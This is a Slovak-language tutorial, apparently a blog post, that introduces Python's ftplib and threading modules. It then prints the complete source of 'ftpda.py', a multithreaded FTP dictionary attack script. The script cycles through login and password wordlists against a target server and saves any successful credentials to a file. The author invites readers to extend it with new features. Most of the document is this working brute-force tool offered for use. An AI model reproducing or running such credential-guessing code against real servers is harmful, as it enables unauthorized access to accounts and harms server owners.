Ešte pred tým ako sa dostanete k zdrojovému kódu ukážem vám prácu s modulom ftplib. Je to jednoduchý príklad:
import ftplib
ftp = ftplib.FTP("server.com")#ftp server
ftp.login("login", "password")#login a password
ftp.retrlines('LIST')#vypis obsahu
ftp.quit()# ukoncenie
Ako server zadáme iba „server.com“ , python je natoľko inteligentný že si sám pridá ftp:\\. Login to je jasné, zadáme meno a heslo, retrlines sem zadávame ftp príkazy ako napr. LIST ktorý vypíše obsah . A už iba ukončíme spojenie.
Vlákna už nejdem zvlášť ukazovať. V našom programe využívame iba run() a start(). Ukážem iba základnú štruktúru:
import threading
class ThreadWork(threading.Thread):
def run(self):
#sem dáme to čo sa ma vykonávať vo vlákne
work = ThreadWork()
work.start()#spusti vlakno a prejde do metody run
Vlákno sa dá vytvoriť ešte iným spôsobom(zavolať metódu threading.Thread() a predať jej objekt) ale toto je najpoužívanejší.
Nešlo o to vytvoriť najlepší ftpda ale išlo o to ukázať ako sa tvorí takýto program, čo všetko k tomu potrebujeme a hlavne logiku ako to celé funguje. Snažil som sa to spraviť čo najjednoduchšie a najmenšie ale zase aby to splnilo svoj účel . Ďalej je už len na vás či si to rozšírte o nové funkcie.
import os
import sys
import getopt
import time, threading
from copy import copy
import ftplib
import signal
app = "Ftp Dictionary Attack"
version = '1.0'
author = "Nitrexx"
#nastavenie argumentov
try:
opts, args = getopt.getopt(sys.argv[1:],"h:s:l:p:",["help","server=","lfile=","pfile="])
except getopt.GetoptError:
print app, " ", "Autor: ",author, "Verzia: ", version
print 'ftpda.py -s -l -p '
sys.exit(2)
for opt, arg in opts:
if opt in ('-h', '--help'):
print app, " ", "Autor: ",author, "Verzia: ", version
print 'ftpda.py -s -l -p '
sys.exit()
elif opt in ("-l", "--lfile"):
loginfile = arg
elif opt in ("-p", "--pfile"):
passwordfile = arg
elif opt in ("-s", "--server"):
server = arg
#nacitanie loginov a hesiel
try:
logins = open(loginfile,"r").readlines()
except(IOError):
print "{0} nebol najdeny".format(loginfile)
sys.exit(1)
try:
passwords = open(passwordfile, "r").readlines()
except(IOError):
print "{0} nebol najdeny".format(passwordfile)
sys.exit(1)
print "\n\t\t\t Nitrexx Dictionary Attack"
print "\t--------------------------------------------------\n"
print "[*] Server:",server
print "[*] Pocet loginov:",len(logins)
print "[*] Pocet hesiel:",len(passwords)
print '-' *15
print 'Login subor :' ,loginfile
print 'Password subor :', passwordfile
print '-' *15
dictionary = copy(passwords)#nakopiruje obsah do dictionary
def prekladac():# nacita odznova hesla
for word in dictionary:
passwords.append(word)
def zoznam():
lock = threading.Lock()
lock.acquire()#zamkne, aby sem nemohlo pristupit ine vlakno
if len(passwords) != 0:
value = passwords[0:]#aktualne nacitane heslo
passwords.remove(value[0])#vymaze prve heslo
else:
#print "[*]Menim zoznam\n"+"-" *25
prekladac()#nacita hesla od znova
value = "" #skusa prazdne heslo
logins.remove(logins[0])# odstrani prvy login
lock.release()#odomkne
#podla podmienok vracia hodnoty a odstranuje biele znaky
if value == "" and len(logins) == 1:
return value, logins[0].strip()
elif len(logins) == 1:
return value[0].strip(), logins[0].strip()
elif value == "":
return value, logins[0].strip()
else:
return value[0].strip(), logins[0].strip()
class ThreadWork(threading.Thread):
def run(self):
value, user = zoznam()#vratene hodnoty
try:
print "Login:",user,"Password:",value
ftp = ftplib.FTP(server)
ftp.login(user, value)
ftp.retrlines('LIST')#vypis
ftp.quit()
print "\t[+]Prihlasenie uspesne!\n"
print "[*]Login: ",user + "\tPassword:",value#uspesne prihlasanie
outf = server+".txt"#subor pomenovany podla serveru
out = open(outf, "w")#zapise sa do neho uspesny login a heslo
out.write("Pass: " + value + " " + "Login: " + user)
out.close()
os.kill(os.getpid(), signal.SIGINT)#nasilne ukonci vlakno a cely proces
except (ftplib.all_errors),msg:
pass # chyba nesprav nic
def bigrange(stop):#vlastna metoda range
i = 0
while i < stop:
yield i
i += 1
for i in bigrange((len(passwords)+1)*(len(logins))-1):#vypocita dlzku
work = ThreadWork()
work.start()#spusti vlakno
time.sleep(0.1)#1 = sekunda, ked casovanie odstranime tak treba odkomentovat vypisi
#lebo vlakna idu rychlejsie a preto vypisuje slova rozhadzane
Všetky časti kódu som prebral v serialy tomuto venovanému. Ešte som nevysvetlil funkciu zámkov. Zámky su implementované aby malo k premenným prístup stále len jedno vlákno. Lebo keby pristupovalo k premenným veľa vlákien naraz bol by z toho chaos, kedže jedno vlákno by ešte nemuselo ukončiť prácu s premennou a už by ku nej pristupovalo druhé.
Takto keď sa tam dostane vlákno najprv zamkne spraví si svoju prácu a keď to dokončí tak odomkne a v tom už k tomu pristujpuje druhé vlákno.
Ďalej funkcia vráti hodnoty podľa podmienky a vlákno sa pokúša pripojiť na ftp ak uspeje vytvorí súbor z názvom serveru , ktorý obsahuje úspešný login a heslo a ukončí celý proces. Ak prihlásanie neuspeje tak nedspraví nič a pokúša sa o to ďalšie vlákno.
Funkciu bigrange() som musel spraviť preto, lebo klasické range() nedokáže pracovať z veľkým rozsahom a pri teste z wordlistom obsahujúcim 14 000 000 slov, nebude pracovať a ohlási chybu.
A time.sleep() je dôležité kvôli správnemu výpisu, ale spomaluje chod programu, takže keď odkomentujeme vypísi a túto metodu tak sa beh programu zrýchli ale program nebude mať žiadny výstup(iba zápis do súboru so správnym prihlasením).